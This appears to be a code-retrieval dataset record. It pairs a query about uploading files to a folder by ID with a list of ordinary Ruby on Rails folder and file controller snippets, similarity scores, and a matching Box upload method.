"def edit_filename\n\n client = user_client\n file = client.file_from_id(params[:fileId], fields: [:parent])\n mixpanel_tab_event(\"My Vault\", \"Rename Item\")\n\n # set current folder id & new file name\n session[:current_folder] = file.parent.id\n newName = params[:fileName] + '.' + params[:fileExt]\n\n # make Box API call to update file name\n begin\n client.update_file(file, name: newName)\n flash[:notice] = \"File name changed to \\\"#{params[:fileName]}\\\"\"\n rescue\n flash[:error] = \"Error: Could not change file name\"\n end\n\n redirect_to dashboard_id_path(session[:current_folder])\n end",
"def update\n @service = EditFolder.new(@node_adapter)\n @service.run(@db_folder, folder_params)\n render status: @service.success? ? :ok : :unprocessable_entity\n end",
"def update\n authorize! :update, params[:id]\n respond_to do |format|\n if @folder.update(folder_params.except('project_pid'))\n format.html { redirect_to @folder, notice: 'Folder was successfully updated.' }\n format.json { head :no_content }\n else\n # repopulate these values for the response\n @page_title = \"Edit Lae Folder #{@folder.physical_number}\"\n @pages_list = get_pages_by_folder @folder.id\n format.html { render action: 'edit' }\n format.json { render json: @folder.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @folder.update_attributes(params[:folder])\n format.html { redirect_to folder_url(:id => @folder.name), :notice => 'Folder was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @folder.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def post_rename(old_name,repo,data)\n curl_post(\"#{self.host}/api2/repos/#{repo}/file/?p=#{old_name}\",data).body_str\n end",
"def set_reminder_name\n @trip = Trip.find_by_name(params[:trip_id])\n @folder = @trip.folders.find_by_name(params[:folder_id]) \n @reminder = @folder.reminders.find_by_name(params[:id])\n @model_link = \"reminder\" \n end",
"def update\n respond_to do |format|\n if @folder_type.update(folder_type_params)\n format.html { redirect_to @folder_type, notice: 'Folder type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @folder_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @folder.update(folder_params)\n format.html { redirect_to @folder, notice: 'Folder was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @folder.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @folder.update(folder_params)\n render :show, status: :ok\n else\n render json: @folder.errors, status: :unprocessable_entity\n end\n end",
"def post page_name\n redirect(\"/login?return_to=#{CGI::escape(@env['REQUEST_URI'])}\") and return unless logged_in?\n page_name_spc = page_name.gsub(/_/,' ')\n if input.submit = 'save'\n attrs = { :body => input.post_body, :title => input.post_title, :user_id =>@state.user.id }\n attrs[:readonly] = input.post_readonly if is_admin?\n @page = Page.find_by_title(page_name_spc)\n if @page.nil?\n # new page\n @page = Page.create(attrs)\n else\n @page.update_attributes(attrs)\n end\n redirect Show, input.post_title.gsub(/ /,'_')\n elsif input.submit == 'minor edit'\n attrs = { :body => input.post_body }\n attrs[:readonly] = input.post_readonly if is_admin?\n page = Page.find_by_title(page_name_spc)\n current_version = page.find_version(page.version)\n current_version.update_attributes(attrs)\n page.without_revision { page.update_attributes(attrs) }\n redirect Show, input.post_title.gsub(/ /,'_')\n else # cancel\n redirect Show, page_name\n end\n end",
"def new_folder\n @folder = find_by_user_id_and_name(current_user.id,'my_deal_room')\n @portfolio = Portfolio.find(params[:pid])\n folder_name = find_folder_name(@folder.id,params[:folder_name])\n folder=Folder.create(:name=>folder_name,:parent_id=>@folder.id,:portfolio_id=>@portfolio.id,:user_id=>current_user.id,:real_estate_property_id=>@folder.real_estate_property_id)\n responds_to_parent do\n render :update do |page|\n page.hide 'modal_container'\n page.hide 'modal_overlay'\n page.call \"flash_writter\", \"Folder successfully created\"\n end\n end\n end",
"def edit_button_clicked\n\n\t\t\t# Set flag for edit mode, store \n\t\t\t@edited_item = @form.folderList.currentItem\n\t\t\n\t\t\t# Show and activate the child window\n\t\t\tshow_browse_form(@edited_item.text)\n\t\tend",
"def set_FolderID(value)\n set_input(\"FolderID\", value)\n end",
"def set_FolderID(value)\n set_input(\"FolderID\", value)\n end",
"def set_FolderID(value)\n set_input(\"FolderID\", value)\n end",
"def set_FolderID(value)\n set_input(\"FolderID\", value)\n end",
"def set_FolderID(value)\n set_input(\"FolderID\", value)\n end",
"def set_FolderID(value)\n set_input(\"FolderID\", value)\n end",
"def set_FolderID(value)\n set_input(\"FolderID\", value)\n end",
"def set_FolderID(value)\n set_input(\"FolderID\", value)\n end",
"def set_FolderID(value)\n set_input(\"FolderID\", value)\n end",
"def set_FolderID(value)\n set_input(\"FolderID\", value)\n end",
"def update\n @folder = Folder.find(params[:id])\n\n respond_to do |format|\n if @folder.update_attributes(params[:folder])\n format.html { redirect_to(@folder, :notice => 'Folder was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @folder.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def edit_name\n # p \"-\"* 50\n # p \"edit name\"\n # @name_exercise_id = params[:format]\n end",
"def folder_params\n params.require(:folder).permit(:name, :creator_id)\n end",
"def update\n @task_folder = TaskFolder.find(params[:id])\n\n respond_to do |format|\n if @task_folder.update_attributes(params[:task_folder])\n format.html { redirect_to task_folder_url(@task_folder), notice: 'Task folder was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @task_folder.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @folder.update(folder_params)\n format.html { redirect_to @folder, notice: 'Folder was successfully updated.' }\n format.json { render :show, status: :ok, location: @folder }\n else\n format.html { render :edit }\n format.json { render json: @folder.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @folder.update(folder_params)\n format.html { redirect_to @folder, notice: 'Folder was successfully updated.' }\n format.json { render :show, status: :ok, location: @folder }\n else\n format.html { render :edit }\n format.json { render json: @folder.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @folder.update(folder_params)\n format.html { redirect_to @folder, notice: 'Folder was successfully updated.' }\n format.json { render :show, status: :ok, location: @folder }\n else\n format.html { render :edit }\n format.json { render json: @folder.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\r\n if request.post?\r\n @folder = Folder.new(params[:folder])\r\n @folder.parent_id = folder_id\r\n @folder.date_modified = Time.now\r\n @folder.user = @logged_in_user\r\n\r\n if @folder.save\r\n # copy groups rights on parent folder to new folder\r\n copy_permissions_to_new_folder(@folder)\r\n\r\n # back to the list\r\n redirect_to :action => 'list', :id => params[:id]\r\n else\r\n render_action 'new'\r\n end\r\n end\r\n end",
"def update\n @folder = Folder.find(params[:id])\n\n respond_to do |format|\n if @folder.update_attributes(params[:folder])\n flash[:notice] = 'Folder was successfully updated.'\n format.html { redirect_to(@folder) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @folder.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @folder = Folder.find(params[:id])\n\n respond_to do |format|\n if @folder.update_attributes(params[:folder])\n format.html { redirect_to @folder, notice: 'Folder was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @folder.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_folder\n @folder = Folder.find(params[:id])\n end",
"def rename\r\n render\r\n end",
"def set_folder\n @folder = Folder.find(params[:id])\n end",
"def set_folder\n @folder = Folder.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @folder.update(folder_params)\n format.json { render :show, status: :ok, location: @folder }\n else\n format.json { render json: @folder.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @folder = args[:folder] if args.key?(:folder)\n end",
"def set_folder\n @folder = Folder.find(params[:id])\n end",
"def set_folder\n @folder = Folder.find(params[:id])\n end",
"def set_folder\n @folder = Folder.find(params[:id])\n end",
"def set_folder\n @folder = Folder.find(params[:id])\n end",
"def set_folder\n @folder = Folder.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @folder.update_attributes(params[:folder])\n flash[:notice] = 'Folder was successfully updated.'\n format.html { redirect_to(:controller => 'documents', :action => 'index',\n :project_id => @folder.project, :folder_id => @folder.id) }\n format.xml { head :ok }\n else\n flash[:error] = \"Errors encountered while attempting to update folder.\"\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @folder.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @file_folder.update(file_folder_params)\n format.html { redirect_to @file_folder, notice: 'File folder was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @file_folder.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @foldership.permits?(:folder_tasks, :write) && @task.update(task_params)\n format.html { redirect_to folder_path(@org, @folder), notice: 'Task was successfully updated.' }\n format.json { render :show, status: :ok, location: @task }\n format.js\n else\n format.html { render :edit }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end",
"def rename_fs_item\n\n err_str = ''\n begin # a one time loop to allow break\n \n new_name = params[:name]\n if ( new_name.blank? )\n err_str = 'Empty name not allowed'\n break\n end\n \n generic_ty = Integer(params[:sel_kind]) rescue generic_ty = FSTYPE_INVALID\n elem_id = Integer(params[:sel_id]) rescue elem_id = -1\n if ( elem_id <= 0 )\n err_str = 'Invalid index'\n break\n end\n \n if ( generic_ty == FSTYPE_FILE )\n to_upd = Dfile.find_by_id( elem_id )\n if ( to_upd )\n to_upd.name = new_name\n if to_upd.save\n reponse = { action_id: params[:action_id],\n new_id: to_upd.id,\n new_name: to_upd.name,\n parent_id: to_upd.directory_id,\n kind_name: 'generic'\n }\n render :json => reponse, :layout => false, :status => 200 and return\n else\n err_str = 'Failed to save file name'\n break\n end\n else\n err_str = 'File does not exist'\n break\n end\n elsif ( generic_ty == FSTYPE_DIR )\n to_upd = Directory.find_by_id( elem_id )\n if ( to_upd )\n to_upd.name = new_name\n if to_upd.save\n reponse = { action_id: params[:action_id],\n new_id: to_upd.id,\n new_name: to_upd.name,\n parent_id: to_upd.parent_id,\n kind_name: 'directory'\n }\n render :json => reponse, :layout => false, :status => 200 and return\n else\n err_str = 'Failed to save directory'\n break\n end\n else\n err_str = 'Directory does not exist'\n break\n end\n else\n err_str = 'Invalid entry type'\n break\n end\n \n end until true # a one time loop to allow break\n render json: err_str, status: :unprocessable_entity and return\n end",
"def update\n if request.post?\n if @group.update_attributes(params[:group])\n redirect_to :action => 'list'\n else\n render :action => 'rename'\n end\n end\n end",
"def upload_files_to_folder(folder_name)\n if frm.li(:text=>/A/, :class=>\"menuOpen\").exist?\n frm.table(:class=>/listHier lines/).row(:text=>/#{Regexp.escape(folder_name)}/).li(:text=>/A/, :class=>\"menuOpen\").fire_event(\"onclick\")\n else\n frm.table(:class=>/listHier lines/).row(:text=>/#{Regexp.escape(folder_name)}/).link(:text=>\"Start Add Menu\").fire_event(\"onfocus\")\n end\n frm.table(:class=>/listHier lines/).row(:text=>/#{Regexp.escape(folder_name)}/).link(:text=>\"Upload Files\").click\n instantiate_class(:upload_files)\n end",
"def folder_params\n params.require(:folder).permit(:folder_id, :name)\n end",
"def set_folder\n @folder = PulStore::Lae::Folder.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @folder.update(folder_params.merge(user_id: current_user.id))\n format.html { redirect_to @folder, notice: 'Folder was successfully updated.' }\n format.json { render :show, status: :ok, location: @folder }\n else\n format.html { render :edit }\n format.json { render json: @folder.errors, status: :unprocessable_entity }\n end\n end\n end",
"def go_to_folder(foldername)\n frm.link(:text=>foldername).click\n end",
"def new\n @folder = Folder.new\n @new = true;\n respond_to do |format|\n format.html { render \"edit\" }\n format.xml { render :xml => @folder }\n end\n end",
"def ftp_name=(new_name)\n return if new_name == @resource.should(:share_name)\n @share_edit_args += [ \"-F\", new_name ]\n end",
"def update_permissions\r\n if request.post? and @logged_in_user.is_admin?\r\n # update the create, read, update, delete right for this folder:\r\n update_group_permissions(folder_id, params[:create_check_box], 'create', params[:update_recursively][:checked] == 'yes' ? true : false)\r\n update_group_permissions(folder_id, params[:read_check_box], 'read', params[:update_recursively][:checked] == 'yes' ? true : false)\r\n update_group_permissions(folder_id, params[:update_check_box], 'update', params[:update_recursively][:checked] == 'yes' ? true : false)\r\n update_group_permissions(folder_id, params[:delete_check_box], 'delete', params[:update_recursively][:checked] == 'yes' ? true : false)\r\n end\r\n\r\n # Return to the folder\r\n redirect_to :action => 'list', :id => folder_id\r\n end",
"def file_or_folder_name=(value)\n @file_or_folder_name = value\n end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def edit; end",
"def folder_params\n params.require(:folder).permit(:name, :path, :parent)\n end",
"def edit_by_title\n @post = Roxiware::Blog::Post.where(:guid=>request.env['REQUEST_PATH']).first\n raise ActiveRecord::RecordNotFound if @post.nil?\n authorize! :edit, @post\n\n respond_to do |format|\n format.html { render :partial =>\"roxiware/blog/post/editform\" }\n format.json { render :json => @post.ajax_attrs(@role) }\n end\n end",
"def rename\n render\n end",
"def folder_params\n params.require(:folder).permit(:name, :parent_id, :user_id)\n end",
"def edit_name\n traveller = Traveller.find(params[:pk])\n traveller.update(name: params[:value])\n\n if current_user.nil?\n if session[:trip] != nil\n travellers = session[:trip].travellers\n travellers[travellers.index(traveller)].name = params[:value]\n end\n\n if session[:travellers] != nil\n session[:travellers][session[:travellers].index(traveller)].name = params[:value]\n end\n end\n\n render json: {success: 'name updated successfully'}\n end",
"def folder_params\n params.require(:folder).permit(:nombre, :id_padre)\n end",
"def set_folder\n @folder = Folder.find_by!(id: params[:id], user_id: current_user.id)\n end",
"def edit\n \n end",
"def edit_file\n @node = Node.new(:name => params[:name], :git_repo_id => params[:git_repo_id], :git_repo_path => params[:git_repo_path])\n end",
"def update\n if description_params[:mode]\n @description.create_activity key: 'Updated Description', owner: @folder\n end\n respond_to do |format|\n if @description.update(description_params)\n format.html { redirect_to trip_folder_descriptions_path(:trip_id => @trip.name,:folder_id => @folder.name ), notice: 'Description was successfully updated.' }\n format.json { render :show, status: :ok, location: @description }\n else\n format.html { render :edit }\n format.json { render json: @description.errors, status: :unprocessable_entity }\n end\n end\n end",
"def folder_params\n params.require(:folder).permit(:title, :color, :user_id)\n end",
"def set_folder\n @folder_id = params[:folder_id] ? params[:folder_id] : params[:id]\n unless @folder_id==\"#\"\n @folder = current_user.is_support? ? Folder.where(id: @folder_id).first : Folder.where(user_id: current_user.id, id: @folder_id).first\n\n params[:project_id] = @project_id = @folder.project_id\n @project = current_user.is_support? ? Project.where(id: @project_id).first : Project.where(user_id: current_user.id, id: @project_id).first unless @project\n end\n end",
"def update\n @folder = sanitized_folder(params[:category]) \n current_user.user_categories.find(params[:id]) # make sure it exists or else raise execption\n @category = Category.find(params[:id])\n @category.folder = @folder\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to category_path(@category), notice: 'Category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def rename_folder\n result = folder_service.rename(@folder, params[:name])\n\n raise ApiError, result.value[:message] if result.failure?\n\n render json: result.value, adapter: :json\n end",
"def edit\n \n end",
"def edit\n \n end",
"def edit\n \n end"
] | [
"0.76888794",
"0.7291986",
"0.6354458",
"0.6345357",
"0.61824226",
"0.616339",
"0.6148135",
"0.60632044",
"0.6051421",
"0.60384834",
"0.5939813",
"0.58179855",
"0.58167875",
"0.58150536",
"0.581385",
"0.5789331",
"0.578092",
"0.57462656",
"0.57462656",
"0.57462656",
"0.57462656",
"0.57462656",
"0.57462656",
"0.57462656",
"0.57462656",
"0.57462656",
"0.57462656",
"0.5709024",
"0.570436",
"0.5692121",
"0.5681463",
"0.5669365",
"0.5669365",
"0.5669365",
"0.56637484",
"0.5660849",
"0.56563526",
"0.56553817",
"0.564463",
"0.5643459",
"0.5643459",
"0.5622498",
"0.56224436",
"0.56216425",
"0.56216425",
"0.56216425",
"0.56216425",
"0.56216425",
"0.5600952",
"0.56003714",
"0.5599366",
"0.5599044",
"0.55923915",
"0.5592293",
"0.5590834",
"0.5566052",
"0.5566017",
"0.5542639",
"0.5534224",
"0.55339116",
"0.5529316",
"0.55050564",
"0.549537",
"0.549537",
"0.549537",
"0.549537",
"0.549537",
"0.549537",
"0.549537",
"0.549537",
"0.549537",
"0.549537",
"0.549537",
"0.549537",
"0.549537",
"0.549537",
"0.549537",
"0.549537",
"0.549537",
"0.549537",
"0.549537",
"0.549537",
"0.549537",
"0.5494523",
"0.549145",
"0.547344",
"0.54701394",
"0.5460188",
"0.545857",
"0.54298156",
"0.54197735",
"0.5401833",
"0.5399877",
"0.5395105",
"0.5386494",
"0.53849584",
"0.53786236",
"0.5376828",
"0.5376828",
"0.5376828"
] | 0.70620286 | 2 |
upload files to parameter specified folder ID | def upload
#http://www.dropzonejs.com/
session[:current_folder] = params[:folder_id]
uploaded_file = params[:file]
folder = params[:folder_id]
mixpanel_tab_event("My Vault", "Upload File")
# upload file to box from tmp folder
temp_file = File.open(Rails.root.join('tmp', uploaded_file.original_filename), 'wb')
begin
temp_file.write(uploaded_file.read)
temp_file.close
box_user = Box.user_client(session[:box_id])
box_file = box_user.upload_file(temp_file.path, folder)
rescue => ex
puts ex.message
ensure
File.delete(temp_file)
end
flash[:notice] = "Successfully Uploaded!"
respond_to do |format|
format.json{ render :json => {} }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def upload_file_to_folder(folder_name)\n upload_files_to_folder(folder_name)\n end",
"def upload(file, folder = 0)\n # Requires authorization\n raise PutioError::AuthorizationRequired if authentication_required!\n\n # Make the upload.\n response = make_upload_call('/files/upload?parent_id=%i' % [folder], file)\n\n # Return whatever.\n response.transfer || response.file\n end",
"def upload_file( id_object, file_to_upload, folder_on_s3 )\n \n file_name = id_object.to_s + \"-\" + file_to_upload.original_filename.to_s\n path_uploaded_files = Rails.root.join('public','uploaded-files')\n uploaded_file = path_uploaded_files.to_s + \"/\" + file_name\n\n unless Dir.exist?(path_uploaded_files)\n FileUtils.mkdir_p(path_uploaded_files)\n end\n\n File.open(uploaded_file, 'wb') do |file|\n file.write(file_to_upload.read)\n end \n\n file_on_s3 = folder_on_s3 + \"/\" + file_name\n upload_file_to_aws_s3(uploaded_file, file_on_s3)\n\n FileUtils.rm(uploaded_file.to_s)\n\n end",
"def uploadFolder(folder,foldersync,googlefolder)\n puts \"Feature Pending\"\n #Create the collection\n #uploadFile(file)\nend",
"def upload_file(folder_id, file_url) \n\tputs \"Uploading file: \" + file_url + \" to folder: \" + folder_id\n\tfile = {\n\t\t:url => file_url, \n\t\t:name => \"Ruby_File.pdf\", \n\t\t:notes => \"This was uploaded using Ruby\", \n\t\t:copies => 1, \n\t\t:folderId => folder_id,\n\t\t# :flow => \"Flow ezName\" # The flow value is either the easy submit name of the flow or the _id property from get_flows()\n\t}\n\tdata = JSON.generate(file)\n\tresponse = request_post('/api/partner/file', data)\n\tputs response.body\nend",
"def upload_params\n params.require(:upload).permit(:upload, :user_id, :folder_id)\n end",
"def upload\r\n \r\n end",
"def folder_params\n params.require(:folder).permit(:name, :user_id, :folder_id, {files: []})\n end",
"def upload(filename, folderid=nil, unzip=true, overwrite=false, details=nil) #filename must include the extension\n end",
"def upload_file\n #TODO\n end",
"def folder_params\n params.require(:folder).permit(:name, :description, uploads: [])\n end",
"def upload_filesystem(directory: '', upload_dest: 'root')\n directory = \"#{directory}/\" unless directory[-1] == '/'\n\n Dir[directory + '*'].each do |object|\n if File.directory?(object)\n folder_name = File.basename(object)\n folder_id = upload_folder(folder_name, location: upload_dest)\n upload_filesystem(upload_dest: folder_id,\n directory: \"#{directory}#{folder_name}/\")\n else\n file_name = File.basename(object)\n file_id = upload_file(object, file_name, location: upload_dest)\n @file_ids[object] = file_id\n end\n end\n end",
"def upload_upload(directory:, files:)\n upload_files = {multipart: true}\n files.each {|f| upload_files[f] = File.open(f, 'rb')}\n r = aptly_request 'POST', \"api/files/#{directory}\", payload: upload_files\n JSON.parse(r.body)\n end",
"def set_file_folder\n @file_folder = FileFolder.find(params[:id])\n end",
"def upload\n end",
"def upload\n end",
"def upload(id, path)\n path = Pathname.new(path) unless path.kind_of? Pathname\n\n mime = MIME::Types.type_for(path.to_s)[0] || MIME::Types[\"application/octet-stream\"][0]\n uri = endPoint(\"/#{id}\")\n request = Net::HTTP::Post.new(uri)\n ret = nil\n\n path.open do |io|\n request.body_stream = io\n set_def_headers(request)\n request.content_length = path.size\n request.content_type = mime.simplified\n ret = workit(request)\n end\n ret\n end",
"def dir_upload(*paths); net_scp_transfer!(:upload, true, *paths); end",
"def upload!()\n file_number = 0\n\n total_files = @files.length\n\n @files.each do |file|\n file_number += 1\n\n print \"\\rUploading... [#{file_number}/#{total_files}]\"\n\n next if File.directory? file\n\n # Get the path relative to containing directory\n path = file.gsub(/^#{@folder_path}\\//, '')\n\n options = { :acl => \"authenticated-read\" }\n\n if MIME::Types.type_for(file).count > 0\n options[:content_type] = MIME::Types.type_for(file).first.to_str\n end\n\n @s3_bucket.object(path).upload_file(file, options)\n end\n\n puts \"\\rUpload complete!\".ljust 80\n end",
"def upload\n @db=Database.find(params[:id])\n @files = params[:files]\n @files.each do |file|\n name = file.original_filename\n directory = @db.path\n path = File.join(directory, name)\n File.open(path, \"wb\") { |f| f.write(file.read) }\n end\n flash[:notice] = \"File uploaded\"\n respond_to do |format|\n format.html {redirect_to files_database_url(@db)}\n format.json { render json: @files }\n end\n end",
"def files\n redirect_to(ContentServer.uploaded_content_url(params[:id], '.' + params[:ext].to_s))#params[:id].to_s.gsub(\".\")[1]))\n end",
"def files\n redirect_to(ContentServer.uploaded_content_url(params[:id], '.' + params[:ext].to_s))#params[:id].to_s.gsub(\".\")[1]))\n end",
"def upload_file(dir_name, file, filename = File.basename(file.to_path))\n file = nil\n\n # Upload\n dir = @connection.directories.get(dir_name)\n if dir then\n file = dir.files.create(:key => filename, :body => file) \n else\n @logger.info \"\\nWarning: #{dir_name} does not exist.\\n\"\n end \n file\n end",
"def files_upload(params = {})\n response = @session.do_post \"#{SCOPE}.upload\", params\n Slack.parse_response(response)\n end",
"def upload_files_to_folder(folder_name)\n if frm.li(:text=>/A/, :class=>\"menuOpen\").exist?\n frm.table(:class=>/listHier lines/).row(:text=>/#{Regexp.escape(folder_name)}/).li(:text=>/A/, :class=>\"menuOpen\").fire_event(\"onclick\")\n else\n frm.table(:class=>/listHier lines/).row(:text=>/#{Regexp.escape(folder_name)}/).link(:text=>\"Start Add Menu\").fire_event(\"onfocus\")\n end\n frm.table(:class=>/listHier lines/).row(:text=>/#{Regexp.escape(folder_name)}/).link(:text=>\"Upload Files\").click\n instantiate_class(:upload_files)\n end",
"def upload_multiple_files_to_folder(folder, file_array)\n\n upload = upload_files_to_folder folder\n\n file_array.each do |file|\n upload.file_to_upload=file\n upload.add_another_file\n end\n\n resources = upload.upload_files_now\n\n file_array.each do |file|\n file =~ /(?<=\\/).+/\n # puts $~.to_s # For debugging purposes\n unless resources.file_names.include?($~.to_s)\n upload_files = resources.upload_files_to_folder(folder)\n upload_files.file_to_upload=file\n resources = upload_files.upload_files_now\n end\n end\n instantiate_class(:this)\n end",
"def get\n # first find the upload within own uploads\n upload = current_user.uploads.find_by_id(params[:id])\n \n #if not found in own uploads, check if the current_user has share access to the parent folder of the file\n upload ||= Upload.find(params[:id]) if current_user.has_share_access?(Upload.find_by_id(params[:id]).folder)\n \n if upload\n send_file upload.uploaded_file.path, :type => upload.uploaded_file_content_type\n else\n flash[:error] = \"You have no permissions to access this area!!\"\n redirect_to uploads_path\n end\n \n end",
"def upload_params\n params.require(:upload).permit(:uploaded_file, :user_id, :folder_id,:label)\n end",
"def share_file\n\n id = params[:id]\n mixpanel_tab_event(\"My Vault\", \"Share File\")\n session[:current_folder] = params[:folder]\n client = user_client\n\n # get shared folder, then move file into shared folder\n sharedFolder = client.folder_from_path(\"#{session[:userinfo]['info']['name']} - Shared Files\")\n client.move_file(id, sharedFolder)\n flash[:notice] = \"File shared with company employee!\"\n\n redirect_to dashboard_id_path(sharedFolder.id)\n end",
"def upload(file, someone)\n end",
"def multipart_upload\n end",
"def move(id, folder = 0)\n # Requires authorization\n raise PutioError::AuthorizationRequired if authentication_required!\n\n # This provides support for an Array of ids.\n if id.is_a? Array then\n id = id.join(',')\n end\n\n make_post_call('/files/move?file_ids=%s&parent_id=%i' % [id, folder]).status == \"OK\"\n end",
"def folder_params\n params.require(:folder).permit(:name, :parent_id, :user_id)\n end",
"def upload\n\n\t\t@uploads = Idea.find(params[:id]).uploads\n\t\t@idea = params[:id]\n\t\t@idea_obj = Idea.find(@idea)\n\n\t\t# allows user to delete files\n\t\t@delete = true\n\n\t\t@path = [link_to_ideas, link_to_idea_uploads(@idea_obj)]\n\t\t@subnavigation = [active_link_to_idea_uploads(@idea_obj), link_to_idea(@idea_obj), link_to_show_all_ideas(\"Alle Ideen\", \"title\", \"ASC\", \"\", 0, 30)]\n\tend",
"def upload_files\n params.each do |k,v|\n logger.debug(\"K: #{k} ,V: #{v}\")\n end\n \n ff = params['ajb'].original_filename\n \n mlh = ''\n ff.each_byte do |b|\n if b < 127\n mlh = mlh + b.chr\n else\n break\n end\n end\n \n qzh = params['qzh']\n dalb = params['dalb']\n \n dh = \"#{qzh}-#{dalb}-#{mlh}-%\"\n \n #delete any document connected to dh\n User.find_by_sql(\"delete from archive where dh like '#{dh}'; \")\n User.find_by_sql(\"delete from document where dh like '#{dh}'; \")\n\n user = User.find_by_sql(\"select * from d_dwdm where id=#{qzh};\")[0]\n dwdm = user.dwdm # find by sql query\n\n v = params['jnb']\n ff = File.new(\"./dady/tmp/#{v.original_filename}\",\"w+\")\n ff.write(v.tempfile.read)\n ff.close\n\n v = params['ajb']\n ff = File.new(\"./dady/tmp/#{v.original_filename}\",\"w+\")\n ff.write(v.tempfile.read)\n ff.close\n \n logger.debug \"ruby ./dady/bin/upload_mulu.rb #{v.original_filename} #{dwdm} #{qzh} #{dalb} &\"\n system (\"ruby ./dady/bin/upload_mulu.rb #{v.original_filename} #{dwdm} #{qzh} #{dalb} &\")\n \n render :text => \"{success:true}\"\n end",
"def upload_simple\r\n \r\n end",
"def upload_folder(folder_name, location: 'root')\n begin\n update_refresh_token if refresh_due?\n upload = @drive_manager.post(\n { 'name' => folder_name,\n 'mimeType' => 'application/vnd.google-apps.folder' }.to_json\n )\n rescue StandardError => error\n warn \"#{error}; METHOD #{__callee__}; RESOURCE #{folder_name}\"\n retry\n end\n\n folder_id = JSON.parse(upload)['id']\n\n if location != 'root'\n begin\n update_refresh_token if refresh_due?\n @drive_manager[folder_id + '?addParents=' + location +\n '&removeParents=root&alt=json'].patch(\n { 'uploadType' => 'resumable' }.to_json\n )\n rescue StandardError => error\n warn \"#{error}; METHOD #{__callee__}; RESOURCE #{folder_name}\"\n retry\n end\n end\n\n folder_id\n end",
"def upload\n\n current_user_id = params[:current_user_id]\n print current_user_id\n filename = params[:Filename]\n print filename\n filedata = params[:Filedata]\n print filedata\n galleryname = params[:gallery_name]\n print galleryname\n\n # Construct the gallery if necessary\n gallery = Gallery.find_by_title(galleryname)\n if gallery.nil?\n gallery = Gallery.new\n gallery.title = galleryname\n gallery.person_id = current_user_id\n gallery.save\n end\n \n picture = Picture.new\n picture.picture_file_name = filename\n picture.picture_file_data = filedata\n picture.title = \"\"\n picture.person_id = current_user_id\n picture.gallery_id = gallery.id\n picture.save\n \n end",
"def archive_params\n params.require(:archive).permit(:uploaded_file,:folder_id)\n end",
"def set_user_file\n @user_file = @folder.files.find(params[:id])\n end",
"def create\n #@file_folder = FileFolder.new(file_folder_params)\n @folder = current_user.folders.where(\"id = ?\", params[:current_folder_id]).first\n @files = @folder.file_folders.build \n io_file = params[:file]\n respond_to do |format|\n if @files.store(io_file)\n @files = [] << @files\n format.js {render \"files_list\", status: 200}\n else\n format.js {render js: \"alert('Could not create file\", status: 400}\n end \n end \n end",
"def file_folder_params\n params[:file_folder]\n end",
"def folder_params\n params.require(:folder).permit(:folder_id, :name)\n end",
"def feature_upload(id, file)\r\n dir = \"home_features\"\r\n file.original_filename = id.to_s + (File.extname file.original_filename)\r\n return write(dir, file)\r\n end",
"def upload_file(project_id, req_params)\n params = { query: [project_id, :upload], req: req_params }\n\n response = endpoint(name: 'Files', params: params).do_post\n\n process_id = response.content.dig('process', 'process_id')\n\n response.patch_endpoint_with endpoint(name: 'QueuedProcesses', params: { query: [project_id, process_id] })\n\n resource 'QueuedProcess', response\n end",
"def file_upload(*paths); net_scp_transfer!(:upload, false, *paths); end",
"def upload_files\n # Get list of files do be added\n number_of_files = 0\n paths = []\n Find.find(START_DIR) do |path|\n if FileTest.directory?(path)\n next\n else\n paths.push(path)\n number_of_files += 1\n end\n end\n\n puts \"Uploading #{number_of_files} files.\"\n paths.each do |path|\n upload path\n end #do\n puts \"#{number_of_files} files uploaded.\"\nend",
"def _upload(api_key, file) \n url = Client.site + \"/upload.json\"\n params = { \"api_key\" => api_key, \"api_method\" => \"ruby\", \"id\" => id.to_s, \"file\" => file }\n resp = HTTPClient.post url, params \n JSON.parse(resp.content)\n end",
"def Upload file\n \n APICall(path: \"uploads.json?filename=#{file.split('/').last}\",method: 'POST',payload: File.read(file))\n \n end",
